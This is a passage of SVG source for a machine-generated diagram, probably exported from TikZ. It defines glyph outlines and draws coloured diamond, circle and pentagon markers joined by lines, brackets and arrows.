  172. <path d='M 0.765625 -0.453125 L 1.390625 -1.078125 C 2.328125 -1.90625 2.6875 -2.21875 2.6875 -2.828125 C 2.6875 -3.5 2.140625 -3.984375 1.421875 -3.984375 C 0.734375 -3.984375 0.296875 -3.4375 0.296875 -2.90625 C 0.296875 -2.5625 0.59375 -2.5625 0.609375 -2.5625 C 0.71875 -2.5625 0.921875 -2.640625 0.921875 -2.890625 C 0.921875 -3.046875 0.8125 -3.203125 0.609375 -3.203125 C 0.5625 -3.203125 0.546875 -3.203125 0.53125 -3.1875 C 0.671875 -3.578125 1 -3.796875 1.34375 -3.796875 C 1.890625 -3.796875 2.140625 -3.3125 2.140625 -2.828125 C 2.140625 -2.34375 1.84375 -1.875 1.515625 -1.5 L 0.359375 -0.21875 C 0.296875 -0.15625 0.296875 -0.140625 0.296875 0 L 2.515625 0 L 2.6875 -1.046875 L 2.53125 -1.046875 C 2.5 -0.859375 2.46875 -0.59375 2.40625 -0.515625 C 2.359375 -0.453125 1.96875 -0.453125 1.84375 -0.453125 Z ' style='stroke: none;'/>
  173. </symbol>
  174. <symbol id='glyph5385-2-3' overflow='visible'>
  175. <path d='M 1.734375 -1.5 C 1.734375 -1.96875 1.65625 -2.6875 1.328125 -3.359375 C 0.96875 -4.09375 0.453125 -4.484375 0.40625 -4.484375 C 0.359375 -4.484375 0.34375 -4.46875 0.34375 -4.421875 C 0.34375 -4.40625 0.34375 -4.40625 0.453125 -4.296875 C 1.046875 -3.703125 1.375 -2.75 1.375 -1.5 C 1.375 -0.46875 1.15625 0.578125 0.421875 1.328125 C 0.34375 1.40625 0.34375 1.421875 0.34375 1.4375 C 0.34375 1.46875 0.359375 1.5 0.40625 1.5 C 0.453125 1.5 1 1.09375 1.359375 0.328125 C 1.65625 -0.328125 1.734375 -1 1.734375 -1.5 Z ' style='stroke: none;'/>
  176. </symbol>
  177. <symbol id='glyph5385-2-4' overflow='visible'>
  178. <path d='M 1.765625 -0.984375 L 1.765625 -0.46875 C 1.765625 -0.25 1.75 -0.1875 1.296875 -0.1875 L 1.171875 -0.1875 L 1.171875 0 C 1.421875 -0.015625 1.734375 -0.015625 1.984375 -0.015625 C 2.234375 -0.015625 2.5625 -0.015625 2.796875 0 L 2.796875 -0.1875 L 2.671875 -0.1875 C 2.234375 -0.1875 2.21875 -0.25 2.21875 -0.46875 L 2.21875 -0.984375 L 2.8125 -0.984375 L 2.8125 -1.171875 L 2.21875 -1.171875 L 2.21875 -3.890625 C 2.21875 -4.015625 2.21875 -4.046875 2.125 -4.046875 C 2.078125 -4.046875 2.046875 -4.046875 2 -3.984375 L 0.171875 -1.171875 L 0.171875 -0.984375 Z M 1.796875 -1.171875 L 0.328125 -1.171875 L 1.796875 -3.40625 Z ' style='stroke: none;'/>
  179. </symbol>
  180. <symbol id='glyph5385-2-5' overflow='visible'>
  181. <path d='M 2.75 -1.921875 C 2.75 -2.390625 2.71875 -2.875 2.515625 -3.3125 C 2.234375 -3.890625 1.75 -3.984375 1.5 -3.984375 C 1.140625 -3.984375 0.703125 -3.828125 0.453125 -3.265625 C 0.265625 -2.859375 0.234375 -2.390625 0.234375 -1.921875 C 0.234375 -1.46875 0.25 -0.921875 0.5 -0.46875 C 0.765625 0.015625 1.203125 0.125 1.484375 0.125 C 1.8125 0.125 2.265625 0 2.53125 -0.5625 C 2.71875 -0.96875 2.75 -1.4375 2.75 -1.921875 Z M 1.484375 0 C 1.25 0 0.90625 -0.15625 0.796875 -0.71875 C 0.734375 -1.078125 0.734375 -1.640625 0.734375 -1.984375 C 0.734375 -2.375 0.734375 -2.765625 0.78125 -3.09375 C 0.890625 -3.796875 1.34375 -3.859375 1.484375 -3.859375 C 1.6875 -3.859375 2.078125 -3.75 2.203125 -3.15625 C 2.25 -2.8125 2.25 -2.359375 2.25 -1.984375 C 2.25 -1.53125 2.25 -1.125 2.1875 -0.75 C 2.09375 -0.171875 1.765625 0 1.484375 0 Z ' style='stroke: none;'/>
  182. </symbol>
  183. <symbol id='glyph5385-3-0' overflow='visible'>
  184. <path d='' style='stroke: none;'/>
  185. </symbol>
  186. <symbol id='glyph5385-3-1' overflow='visible'>
  187. <path d='M 1.21875 0 C 1.21875 -0.40625 1.0625 -0.640625 0.828125 -0.640625 C 0.640625 -0.640625 0.515625 -0.484375 0.515625 -0.3125 C 0.515625 -0.15625 0.640625 0 0.828125 0 C 0.90625 0 0.984375 -0.03125 1.046875 -0.078125 C 1.0625 -0.09375 1.0625 -0.09375 1.078125 -0.09375 C 1.078125 -0.09375 1.078125 -0.09375 1.078125 0 C 1.078125 0.4375 0.875 0.796875 0.671875 1 C 0.609375 1.0625 0.609375 1.078125 0.609375 1.09375 C 0.609375 1.125 0.640625 1.15625 0.671875 1.15625 C 0.734375 1.15625 1.21875 0.6875 1.21875 0 Z ' style='stroke: none;'/>
  188. </symbol>
  189. <symbol id='glyph5385-4-0' overflow='visible'>
  190. <path d='' style='stroke: none;'/>
  191. </symbol>
  192. <symbol id='glyph5385-4-1' overflow='visible'>
  193. <path d='M 2.46875 1.796875 C 2.46875 1.765625 2.46875 1.75 2.34375 1.625 C 1.40625 0.6875 1.171875 -0.71875 1.171875 -1.859375 C 1.171875 -3.171875 1.453125 -4.46875 2.375 -5.40625 C 2.46875 -5.484375 2.46875 -5.5 2.46875 -5.53125 C 2.46875 -5.578125 2.4375 -5.59375 2.390625 -5.59375 C 2.328125 -5.59375 1.65625 -5.09375 1.203125 -4.140625 C 0.828125 -3.328125 0.734375 -2.5 0.734375 -1.859375 C 0.734375 -1.28125 0.828125 -0.375 1.234375 0.46875 C 1.6875 1.375 2.328125 1.859375 2.390625 1.859375 C 2.4375 1.859375 2.46875 1.84375 2.46875 1.796875 Z ' style='stroke: none;'/>
  194. </symbol>
  195. <symbol id='glyph5385-4-2' overflow='visible'>
  196. <path d='M 2.171875 -2.625 C 2.78125 -2.828125 3.21875 -3.359375 3.21875 -3.9375 C 3.21875 -4.5625 2.546875 -4.96875 1.84375 -4.96875 C 1.078125 -4.96875 0.515625 -4.53125 0.515625 -3.953125 C 0.515625 -3.71875 0.671875 -3.5625 0.890625 -3.5625 C 1.125 -3.5625 1.28125 -3.734375 1.28125 -3.953125 C 1.28125 -4.328125 0.921875 -4.328125 0.8125 -4.328125 C 1.046875 -4.6875 1.53125 -4.78125 1.8125 -4.78125 C 2.109375 -4.78125 2.53125 -4.625 2.53125 -3.953125 C 2.53125 -3.859375 2.515625 -3.421875 2.3125 -3.09375 C 2.09375 -2.734375 1.84375 -2.71875 1.65625 -2.71875 C 1.59375 -2.703125 1.40625 -2.6875 1.359375 -2.6875 C 1.296875 -2.6875 1.25 -2.671875 1.25 -2.59375 C 1.25 -2.515625 1.296875 -2.515625 1.421875 -2.515625 L 1.75 -2.515625 C 2.375 -2.515625 2.640625 -2.015625 2.640625 -1.28125 C 2.640625 -0.265625 2.125 -0.046875 1.796875 -0.046875 C 1.484375 -0.046875 0.921875 -0.171875 0.65625 -0.609375 C 0.921875 -0.578125 1.15625 -0.734375 1.15625 -1.015625 C 1.15625 -1.296875 0.953125 -1.4375 0.734375 -1.4375 C 0.546875 -1.4375 0.3125 -1.34375 0.3125 -1.015625 C 0.3125 -0.328125 1.015625 0.171875 1.828125 0.171875 C 2.734375 0.171875 3.40625 -0.515625 3.40625 -1.28125 C 3.40625 -1.890625 2.9375 -2.46875 2.171875 -2.625 Z ' style='stroke: none;'/>
  197. </symbol>
  198. <symbol id='glyph5385-4-3' overflow='visible'>
  199. <path d='M 3.4375 -2.390625 C 3.4375 -2.984375 3.390625 -3.578125 3.140625 -4.140625 C 2.796875 -4.859375 2.1875 -4.96875 1.859375 -4.96875 C 1.421875 -4.96875 0.875 -4.78125 0.5625 -4.078125 C 0.328125 -3.5625 0.296875 -2.984375 0.296875 -2.390625 C 0.296875 -1.828125 0.328125 -1.15625 0.625 -0.59375 C 0.953125 0.015625 1.5 0.171875 1.859375 0.171875 C 2.265625 0.171875 2.828125 0 3.15625 -0.703125 C 3.390625 -1.21875 3.4375 -1.796875 3.4375 -2.390625 Z M 1.859375 0 C 1.5625 0 1.125 -0.1875 1 -0.90625 C 0.90625 -1.359375 0.90625 -2.03125 0.90625 -2.484375 C 0.90625 -2.953125 0.90625 -3.453125 0.96875 -3.859375 C 1.109375 -4.75 1.671875 -4.8125 1.859375 -4.8125 C 2.109375 -4.8125 2.59375 -4.671875 2.734375 -3.9375 C 2.8125 -3.515625 2.8125 -2.953125 2.8125 -2.484375 C 2.8125 -1.921875 2.8125 -1.40625 2.734375 -0.9375 C 2.625 -0.21875 2.203125 0 1.859375 0 Z ' style='stroke: none;'/>
  200. </symbol>
  201. <symbol id='glyph5385-4-4' overflow='visible'>
  202. <path d='M 2.15625 -1.859375 C 2.15625 -2.453125 2.078125 -3.359375 1.671875 -4.203125 C 1.21875 -5.109375 0.578125 -5.59375 0.5 -5.59375 C 0.453125 -5.59375 0.421875 -5.578125 0.421875 -5.53125 C 0.421875 -5.5 0.421875 -5.484375 0.5625 -5.359375 C 1.296875 -4.609375 1.71875 -3.421875 1.71875 -1.859375 C 1.71875 -0.59375 1.453125 0.71875 0.515625 1.671875 C 0.421875 1.75 0.421875 1.765625 0.421875 1.796875 C 0.421875 1.84375 0.453125 1.859375 0.5 1.859375 C 0.578125 1.859375 1.25 1.359375 1.6875 0.40625 C 2.0625 -0.40625 2.15625 -1.234375 2.15625 -1.859375 Z ' style='stroke: none;'/>
  203. </symbol>
  204. <symbol id='glyph5385-4-5' overflow='visible'>
  205. <path d='M 2.96875 -5.203125 C 2.9375 -5.296875 2.921875 -5.34375 2.796875 -5.34375 C 2.6875 -5.34375 2.65625 -5.296875 2.625 -5.203125 L 1.078125 -0.734375 C 0.9375 -0.34375 0.640625 -0.234375 0.234375 -0.234375 L 0.234375 0 C 0.40625 0 0.734375 -0.015625 1 -0.015625 C 1.234375 -0.015625 1.625 0 1.859375 0 L 1.859375 -0.234375 C 1.484375 -0.234375 1.296875 -0.421875 1.296875 -0.609375 C 1.296875 -0.640625 1.3125 -0.703125 1.3125 -0.71875 L 1.65625 -1.703125 L 3.5 -1.703125 L 3.90625 -0.5625 C 3.90625 -0.53125 3.921875 -0.484375 3.921875 -0.453125 C 3.921875 -0.234375 3.5 -0.234375 3.296875 -0.234375 L 3.296875 0 C 3.5625 -0.015625 4.09375 -0.015625 4.375 -0.015625 C 4.703125 -0.015625 5.046875 -0.015625 5.359375 0 L 5.359375 -0.234375 L 5.21875 -0.234375 C 4.765625 -0.234375 4.671875 -0.28125 4.578125 -0.53125 Z M 2.578125 -4.359375 L 3.421875 -1.9375 L 1.734375 -1.9375 Z ' style='stroke: none;'/>
  206. </symbol>
  207. <symbol id='glyph5385-4-6' overflow='visible'>
  208. <path d='M 2.0625 -1.390625 L 2.0625 -1.828125 L 0.078125 -1.828125 L 0.078125 -1.390625 Z ' style='stroke: none;'/>
  209. </symbol>
  210. <symbol id='glyph5385-4-7' overflow='visible'>
  211. <path d='M 1.296875 -2.984375 L 2.359375 -2.984375 L 2.359375 -3.21875 L 1.296875 -3.21875 L 1.296875 -4.59375 L 1.109375 -4.59375 C 1.09375 -3.984375 0.875 -3.1875 0.140625 -3.15625 L 0.140625 -2.984375 L 0.78125 -2.984375 L 0.78125 -0.921875 C 0.78125 0 1.46875 0.078125 1.734375 0.078125 C 2.265625 0.078125 2.484375 -0.453125 2.484375 -0.921875 L 2.484375 -1.359375 L 2.296875 -1.359375 L 2.296875 -0.9375 C 2.296875 -0.390625 2.0625 -0.109375 1.796875 -0.109375 C 1.296875 -0.109375 1.296875 -0.78125 1.296875 -0.90625 Z ' style='stroke: none;'/>
  212. </symbol>
  213. <symbol id='glyph5385-4-8' overflow='visible'>
  214. <path d='M 3.09375 -2.515625 C 3.296875 -2.984375 3.671875 -2.984375 3.796875 -2.984375 L 3.796875 -3.21875 C 3.625 -3.203125 3.40625 -3.203125 3.234375 -3.203125 C 3.09375 -3.203125 2.75 -3.21875 2.578125 -3.21875 L 2.578125 -2.984375 C 2.8125 -2.984375 2.9375 -2.859375 2.9375 -2.671875 C 2.9375 -2.59375 2.921875 -2.578125 2.890625 -2.484375 L 2.140625 -0.65625 L 1.3125 -2.65625 C 1.28125 -2.734375 1.265625 -2.765625 1.265625 -2.796875 C 1.265625 -2.984375 1.53125 -2.984375 1.6875 -2.984375 L 1.6875 -3.21875 C 1.484375 -3.21875 1 -3.203125 0.859375 -3.203125 C 0.671875 -3.203125 0.359375 -3.203125 0.140625 -3.21875 L 0.140625 -2.984375 C 0.5 -2.984375 0.640625 -2.984375 0.75 -2.71875 L 1.859375 0 C 1.828125 0.09375 1.71875 0.34375 1.6875 0.4375 C 1.515625 0.84375 1.3125 1.359375 0.828125 1.359375 C 0.796875 1.359375 0.625 1.359375 0.484375 1.234375 C 0.703125 1.203125 0.765625 1.03125 0.765625 0.921875 C 0.765625 0.71875 0.625 0.609375 0.453125 0.609375 C 0.3125 0.609375 0.140625 0.703125 0.140625 0.921875 C 0.140625 1.265625 0.453125 1.53125 0.828125 1.53125 C 1.296875 1.53125 1.609375 1.109375 1.78125 0.671875 Z ' style='stroke: none;'/>
  215. </symbol>
  216. <symbol id='glyph5385-4-9' overflow='visible'>
  217. <path d='M 1.28125 -2.8125 L 1.28125 -3.296875 L 0.203125 -3.21875 L 0.203125 -2.984375 C 0.734375 -2.984375 0.796875 -2.9375 0.796875 -2.609375 L 0.796875 0.875 C 0.796875 1.21875 0.703125 1.21875 0.203125 1.21875 L 0.203125 1.453125 C 0.46875 1.4375 0.84375 1.421875 1.046875 1.421875 C 1.25 1.421875 1.625 1.4375 1.890625 1.453125 L 1.890625 1.21875 C 1.390625 1.21875 1.3125 1.21875 1.3125 0.875 L 1.3125 -0.4375 C 1.34375 -0.328125 1.65625 0.078125 2.21875 0.078125 C 3.109375 0.078125 3.890625 -0.65625 3.890625 -1.609375 C 3.890625 -2.5625 3.171875 -3.296875 2.328125 -3.296875 C 1.75 -3.296875 1.4375 -2.96875 1.28125 -2.8125 Z M 1.3125 -0.84375 L 1.3125 -2.515625 C 1.53125 -2.890625 1.890625 -3.109375 2.265625 -3.109375 C 2.8125 -3.109375 3.265625 -2.453125 3.265625 -1.609375 C 3.265625 -0.703125 2.75 -0.078125 2.203125 -0.078125 C 1.890625 -0.078125 1.609375 -0.234375 1.40625 -0.53125 C 1.3125 -0.6875 1.3125 -0.703125 1.3125 -0.84375 Z ' style='stroke: none;'/>
  218. </symbol>
  219. <symbol id='glyph5385-4-10' overflow='visible'>
  220. <path d='M 0.84375 -1.875 C 0.875 -3 1.515625 -3.1875 1.765625 -3.1875 C 2.53125 -3.1875 2.609375 -2.171875 2.609375 -1.875 Z M 0.828125 -1.71875 L 2.90625 -1.71875 C 3.078125 -1.71875 3.09375 -1.71875 3.09375 -1.875 C 3.09375 -2.625 2.703125 -3.34375 1.765625 -3.34375 C 0.890625 -3.34375 0.203125 -2.578125 0.203125 -1.640625 C 0.203125 -0.640625 1 0.078125 1.859375 0.078125 C 2.765625 0.078125 3.09375 -0.75 3.09375 -0.890625 C 3.09375 -0.96875 3.046875 -0.984375 3 -0.984375 C 2.9375 -0.984375 2.921875 -0.9375 2.90625 -0.875 C 2.640625 -0.109375 1.96875 -0.109375 1.890625 -0.109375 C 1.53125 -0.109375 1.21875 -0.328125 1.046875 -0.609375 C 0.828125 -0.96875 0.828125 -1.453125 0.828125 -1.71875 Z ' style='stroke: none;'/>
  221. </symbol>
  222. <symbol id='glyph5385-4-11' overflow='visible'>
  223. <path d='M 1.65625 -2.734375 L 1.65625 -4.578125 C 1.65625 -4.8125 1.671875 -4.875 2.03125 -4.875 L 2.953125 -4.875 C 3.671875 -4.875 3.9375 -4.234375 3.9375 -3.84375 C 3.9375 -3.359375 3.5625 -2.734375 2.734375 -2.734375 Z M 3.421875 -2.671875 C 4.140625 -2.8125 4.65625 -3.28125 4.65625 -3.84375 C 4.65625 -4.484375 3.96875 -5.09375 3 -5.09375 L 0.265625 -5.09375 L 0.265625 -4.875 L 0.453125 -4.875 C 1.015625 -4.875 1.03125 -4.78125 1.03125 -4.515625 L 1.03125 -0.578125 C 1.03125 -0.3125 1.015625 -0.234375 0.453125 -0.234375 L 0.265625 -0.234375 L 0.265625 0 L 3.203125 0 C 4.1875 0 4.859375 -0.671875 4.859375 -1.359375 C 4.859375 -2.015625 4.25 -2.578125 3.421875 -2.671875 Z M 2.953125 -0.234375 L 2.03125 -0.234375 C 1.671875 -0.234375 1.65625 -0.28125 1.65625 -0.53125 L 1.65625 -2.5625 L 3.0625 -2.5625 C 3.796875 -2.5625 4.109375 -1.875 4.109375 -1.375 C 4.109375 -0.84375 3.734375 -0.234375 2.953125 -0.234375 Z ' style='stroke: none;'/>
  224. </symbol>
  225. <symbol id='glyph5385-4-12' overflow='visible'>
  226. <path d='M 0.421875 -2.546875 C 0.421875 -1.015625 1.625 0.171875 3.015625 0.171875 C 4.234375 0.171875 4.96875 -0.875 4.96875 -1.734375 C 4.96875 -1.8125 4.96875 -1.859375 4.875 -1.859375 C 4.78125 -1.859375 4.78125 -1.828125 4.78125 -1.75 C 4.71875 -0.671875 3.921875 -0.0625 3.109375 -0.0625 C 2.65625 -0.0625 1.1875 -0.328125 1.1875 -2.546875 C 1.1875 -4.78125 2.640625 -5.03125 3.09375 -5.03125 C 3.90625 -5.03125 4.578125 -4.359375 4.734375 -3.265625 C 4.75 -3.15625 4.75 -3.140625 4.84375 -3.140625 C 4.96875 -3.140625 4.96875 -3.15625 4.96875 -3.3125 L 4.96875 -5.09375 C 4.96875 -5.21875 4.96875 -5.265625 4.890625 -5.265625 C 4.859375 -5.265625 4.828125 -5.265625 4.765625 -5.171875 L 4.390625 -4.625 C 4.109375 -4.890625 3.734375 -5.265625 3.015625 -5.265625 C 1.625 -5.265625 0.421875 -4.078125 0.421875 -2.546875 Z ' style='stroke: none;'/>
  227. </symbol>
  228. <symbol id='glyph5385-5-0' overflow='visible'>
  229. <path d='' style='stroke: none;'/>
  230. </symbol>
  231. <symbol id='glyph5385-5-1' overflow='visible'>
  232. <path d='M 1.515625 0 C 1.515625 -0.5 1.328125 -0.796875 1.03125 -0.796875 C 0.796875 -0.796875 0.640625 -0.609375 0.640625 -0.390625 C 0.640625 -0.1875 0.796875 0 1.03125 0 C 1.125 0 1.21875 -0.03125 1.296875 -0.09375 C 1.328125 -0.109375 1.328125 -0.125 1.34375 -0.125 C 1.34375 -0.125 1.359375 -0.109375 1.359375 0 C 1.359375 0.546875 1.09375 1 0.84375 1.234375 C 0.765625 1.328125 0.765625 1.34375 0.765625 1.359375 C 0.765625 1.40625 0.796875 1.4375 0.84375 1.4375 C 0.921875 1.4375 1.515625 0.859375 1.515625 0 Z ' style='stroke: none;'/>
  233. </symbol>
  234. <symbol id='glyph5385-6-0' overflow='visible'>
  235. <path d='' style='stroke: none;'/>
  236. </symbol>
  237. <symbol id='glyph5385-6-1' overflow='visible'>
  238. <path d='M 1.046875 -2.28125 C 1.046875 -2.84375 1.09375 -3.359375 1.359375 -3.796875 C 1.59375 -4.171875 1.96875 -4.421875 2.421875 -4.421875 C 2.625 -4.421875 2.90625 -4.375 3.046875 -4.1875 C 2.875 -4.171875 2.71875 -4.046875 2.71875 -3.84375 C 2.71875 -3.671875 2.84375 -3.515625 3.046875 -3.515625 C 3.265625 -3.515625 3.390625 -3.65625 3.390625 -3.859375 C 3.390625 -4.265625 3.09375 -4.625 2.40625 -4.625 C 1.40625 -4.625 0.375 -3.703125 0.375 -2.203125 C 0.375 -0.40625 1.21875 0.140625 2 0.140625 C 2.84375 0.140625 3.578125 -0.515625 3.578125 -1.421875 C 3.578125 -2.3125 2.875 -2.96875 2.0625 -2.96875 C 1.5 -2.96875 1.203125 -2.59375 1.046875 -2.28125 Z M 2 -0.078125 C 1.640625 -0.078125 1.375 -0.28125 1.21875 -0.59375 C 1.125 -0.796875 1.0625 -1.15625 1.0625 -1.5625 C 1.0625 -2.25 1.46875 -2.765625 2.03125 -2.765625 C 2.34375 -2.765625 2.5625 -2.640625 2.734375 -2.390625 C 2.90625 -2.125 2.90625 -1.828125 2.90625 -1.421875 C 2.90625 -1.03125 2.90625 -0.734375 2.71875 -0.453125 C 2.5625 -0.21875 2.328125 -0.078125 2 -0.078125 Z ' style='stroke: none;'/>
  239. </symbol>
  240. </g>
  241. <clipPath id='clip1'>
  242.  <path d='M 0 132 L 290 132 L 290 264.140625 L 0 264.140625 Z '/>
  243. </clipPath>
  244. </defs>
  245. <g id='surface1'>
  246. <g style='fill: rgb(0%,0%,0%); fill-opacity: 1;'>
  247.  <use x='121.327' xlink:href='#glyph5385-0-1' y='11.619'/>
  248. </g>
  249. <g style='fill: rgb(0%,0%,0%); fill-opacity: 1;'>
  250.  <use x='129.852' xlink:href='#glyph5385-1-1' y='11.619'/>
  251. </g>
  252. <g style='fill: rgb(0%,0%,0%); fill-opacity: 1;'>
  253.  <use x='138.150846' xlink:href='#glyph5385-1-2' y='11.619'/>
  254.  <use x='143.686066' xlink:href='#glyph5385-1-3' y='11.619'/>
  255.  <use x='147.588417' xlink:href='#glyph5385-1-4' y='11.619'/>
  256.  <use x='152.569717' xlink:href='#glyph5385-1-5' y='11.619'/>
  257.  <use x='158.104937' xlink:href='#glyph5385-1-6' y='11.619'/>
  258. </g>
  259. <path d='M 398.823344 -0.0013125 L 396.854594 1.967438 L 394.885844 -0.0013125 L 396.854594 -1.966156 Z ' style='fill-rule: nonzero; fill: rgb(100%,94.898987%,0%); fill-opacity: 1; stroke-width: 0.3985; stroke-linecap: butt; stroke-linejoin: miter; stroke: rgb(0%,0%,0%); stroke-opacity: 1;' transform='matrix(1,0,0,-1,-351.296,172.569)'/>
  260. <path d='M 396.854594 -2.052094 L 396.854594 -39.684906 ' style='fill: none; stroke-width: 0.3985; stroke-linecap: butt; stroke-linejoin: miter; stroke: rgb(0%,0%,0%); stroke-opacity: 1;' transform='matrix(1,0,0,-1,-351.296,172.569)'/>
  261. <path d='M 427.171 -0.0013125 L 425.20225 1.967438 L 423.2335 -0.0013125 L 425.20225 -1.966156 Z ' style='fill-rule: nonzero; fill: rgb(100%,94.898987%,0%); fill-opacity: 1; stroke-width: 0.3985; stroke-linecap: butt; stroke-linejoin: miter; stroke: rgb(0%,0%,0%); stroke-opacity: 1;' transform='matrix(1,0,0,-1,-351.296,172.569)'/>
  262. <path d='M 425.20225 -2.052094 L 425.20225 -39.684906 ' style='fill: none; stroke-width: 0.3985; stroke-linecap: butt; stroke-linejoin: miter; stroke: rgb(0%,0%,0%); stroke-opacity: 1;' transform='matrix(1,0,0,-1,-351.296,172.569)'/>
  263. <path d='M 455.51475 -0.0013125 L 453.549906 1.967438 L 451.581156 -0.0013125 L 453.549906 -1.966156 Z ' style='fill-rule: nonzero; fill: rgb(100%,94.898987%,0%); fill-opacity: 1; stroke-width: 0.3985; stroke-linecap: butt; stroke-linejoin: miter; stroke: rgb(0%,0%,0%); stroke-opacity: 1;' transform='matrix(1,0,0,-1,-351.296,172.569)'/>
  264. <path d='M 453.549906 -2.052094 L 453.549906 -39.684906 ' style='fill: none; stroke-width: 0.3985; stroke-linecap: butt; stroke-linejoin: miter; stroke: rgb(0%,0%,0%); stroke-opacity: 1;' transform='matrix(1,0,0,-1,-351.296,172.569)'/>
  265. <path d='M 483.862406 -0.0013125 L 481.897562 1.967438 L 479.928812 -0.0013125 L 481.897562 -1.966156 Z ' style='fill-rule: nonzero; fill: rgb(100%,94.898987%,0%); fill-opacity: 1; stroke-width: 0.3985; stroke-linecap: butt; stroke-linejoin: miter; stroke: rgb(0%,0%,0%); stroke-opacity: 1;' transform='matrix(1,0,0,-1,-351.296,172.569)'/>
  266. <path d='M 481.897562 -2.052094 L 481.897562 -39.684906 ' style='fill: none; stroke-width: 0.3985; stroke-linecap: butt; stroke-linejoin: miter; stroke: rgb(0%,0%,0%); stroke-opacity: 1;' transform='matrix(1,0,0,-1,-351.296,172.569)'/>
  267. <path d='M 512.210062 -0.0013125 L 510.241312 1.967438 L 508.276469 -0.0013125 L 510.241312 -1.966156 Z ' style='fill-rule: nonzero; fill: rgb(100%,94.898987%,0%); fill-opacity: 1; stroke-width: 0.3985; stroke-linecap: butt; stroke-linejoin: miter; stroke: rgb(0%,0%,0%); stroke-opacity: 1;' transform='matrix(1,0,0,-1,-351.296,172.569)'/>
  268. <path d='M 510.241312 -2.052094 L 510.241312 -39.684906 ' style='fill: none; stroke-width: 0.3985; stroke-linecap: butt; stroke-linejoin: miter; stroke: rgb(0%,0%,0%); stroke-opacity: 1;' transform='matrix(1,0,0,-1,-351.296,172.569)'/>
  269. <path d='M 539.999125 -0.0013125 C 539.999125 0.779938 539.366312 1.408844 538.588969 1.408844 C 537.811625 1.408844 537.178812 0.779938 537.178812 -0.0013125 C 537.178812 -0.778656 537.811625 -1.407562 538.588969 -1.407562 C 539.366312 -1.407562 539.999125 -0.778656 539.999125 -0.0013125 Z ' style='fill-rule: nonzero; fill: rgb(0%,100%,100%); fill-opacity: 1; stroke-width: 0.3985; stroke-linecap: butt; stroke-linejoin: miter; stroke: rgb(0%,0%,0%); stroke-opacity: 1;' transform='matrix(1,0,0,-1,-351.296,172.569)'/>
  270. <path d='M 538.588969 -1.470062 L 538.588969 -39.684906 ' style='fill: none; stroke-width: 0.3985; stroke-linecap: butt; stroke-linejoin: miter; stroke: rgb(0%,0%,0%); stroke-opacity: 1;' transform='matrix(1,0,0,-1,-351.296,172.569)'/>
  271. <path d='M 566.936625 1.740875 L 565.280375 0.53775 L 565.913187 -1.407562 L 567.960062 -1.407562 L 568.592875 0.53775 Z ' style='fill-rule: nonzero; fill: rgb(50.19989%,0%,50.19989%); fill-opacity: 1; stroke-width: 0.3985; stroke-linecap: butt; stroke-linejoin: miter; stroke: rgb(0%,0%,0%); stroke-opacity: 1;' transform='matrix(1,0,0,-1,-351.296,172.569)'/>
  272. <path d='M 566.936625 -1.470062 L 566.936625 -39.684906 ' style='fill: none; stroke-width: 0.3985; stroke-linecap: butt; stroke-linejoin: miter; stroke: rgb(0%,0%,0%); stroke-opacity: 1;' transform='matrix(1,0,0,-1,-351.296,172.569)'/>
  273. <path d='M 595.284281 1.740875 L 593.628031 0.53775 L 594.260844 -1.407562 L 596.307719 -1.407562 L 596.940531 0.53775 Z ' style='fill-rule: nonzero; fill: rgb(50.19989%,0%,50.19989%); fill-opacity: 1; stroke-width: 0.3985; stroke-linecap: butt; stroke-linejoin: miter; stroke: rgb(0%,0%,0%); stroke-opacity: 1;' transform='matrix(1,0,0,-1,-351.296,172.569)'/>
  274. <path d='M 595.284281 -1.470062 L 595.284281 -39.684906 ' style='fill: none; stroke-width: 0.3985; stroke-linecap: butt; stroke-linejoin: miter; stroke: rgb(0%,0%,0%); stroke-opacity: 1;' transform='matrix(1,0,0,-1,-351.296,172.569)'/>
  275. <path d='M 385.518656 -39.684906 L 385.518656 -51.02475 L 521.581156 -51.02475 L 521.581156 -39.684906 ' style='fill: none; stroke-width: 0.3985; stroke-linecap: butt; stroke-linejoin: miter; stroke: rgb(0%,0%,0%); stroke-opacity: 1;' transform='matrix(1,0,0,-1,-351.296,172.569)'/>
  276. <path d='M 555.596781 -39.684906 L 555.596781 -51.02475 L 606.620219 -51.02475 L 606.620219 -39.684906 ' style='fill: none; stroke-width: 0.3985; stroke-linecap: butt; stroke-linejoin: miter; stroke: rgb(0%,0%,0%); stroke-opacity: 1;' transform='matrix(1,0,0,-1,-351.296,172.569)'/>
  277. <path d='M 594.323344 1.119781 L 578.573344 19.494781 ' style='fill: none; stroke-width: 0.3985; stroke-linecap: butt; stroke-linejoin: miter; stroke: rgb(0%,0%,0%); stroke-opacity: 1;' transform='matrix(1,0,0,-1,-351.296,172.569)'/>
  278. <path d='M -1.195421 1.594645 C -1.097051 0.997648 -0.00101491 0.0991926 0.299171 0.000817526 C -0.0022826 -0.0996653 -1.095373 -0.998109 -1.195861 -1.593838 ' style='fill: none; stroke-width: 0.31879; stroke-linecap: round; stroke-linejoin: round; stroke: rgb(0%,0%,0%); stroke-opacity: 1;' transform='matrix(-0.65309,-0.76193,-0.76193,0.65309,227.27804,153.07507)'/>
  279. <path d='M 567.671 1.283844 L 578.046 19.444 ' style='fill: none; stroke-width: 0.3985; stroke-linecap: butt; stroke-linejoin: miter; stroke: rgb(0%,0%,0%); stroke-opacity: 1;' transform='matrix(1,0,0,-1,-351.296,172.569)'/>
  280. <path d='M -1.19503 1.593683 C -1.097222 0.997608 0.0000106325 0.10034 0.299257 0.00155713 C 0.000493138 -0.097221 -1.094819 -0.997375 -1.194573 -1.593932 ' style='fill: none; stroke-width: 0.31879; stroke-linecap: round; stroke-linejoin: round; stroke: rgb(0%,0%,0%); stroke-opacity: 1;' transform='matrix(0.49643,-0.86877,-0.86877,-0.49643,226.75123,153.12404)'/>
  281. <g style='fill: rgb(0%,0%,0%); fill-opacity: 1;'>
  282.  <use x='203.321' xlink:href='#glyph5385-2-1' y='154.22'/>
  283.  <use x='205.645673' xlink:href='#glyph5385-2-2' y='154.22'/>
  284. </g>
  285. <g style='fill: rgb(0%,0%,0%); fill-opacity: 1;'>
  286.  <use x='208.6346' xlink:href='#glyph5385-3-1' y='154.22'/>
  287. </g>
  288. <g style='fill: rgb(0%,0%,0%); fill-opacity: 1;'>
  289.  <use x='211.2914' xlink:href='#glyph5385-2-2' y='154.22'/>
  290.  <use x='214.28018' xlink:href='#glyph5385-2-3' y='154.22'/>
  291. </g>
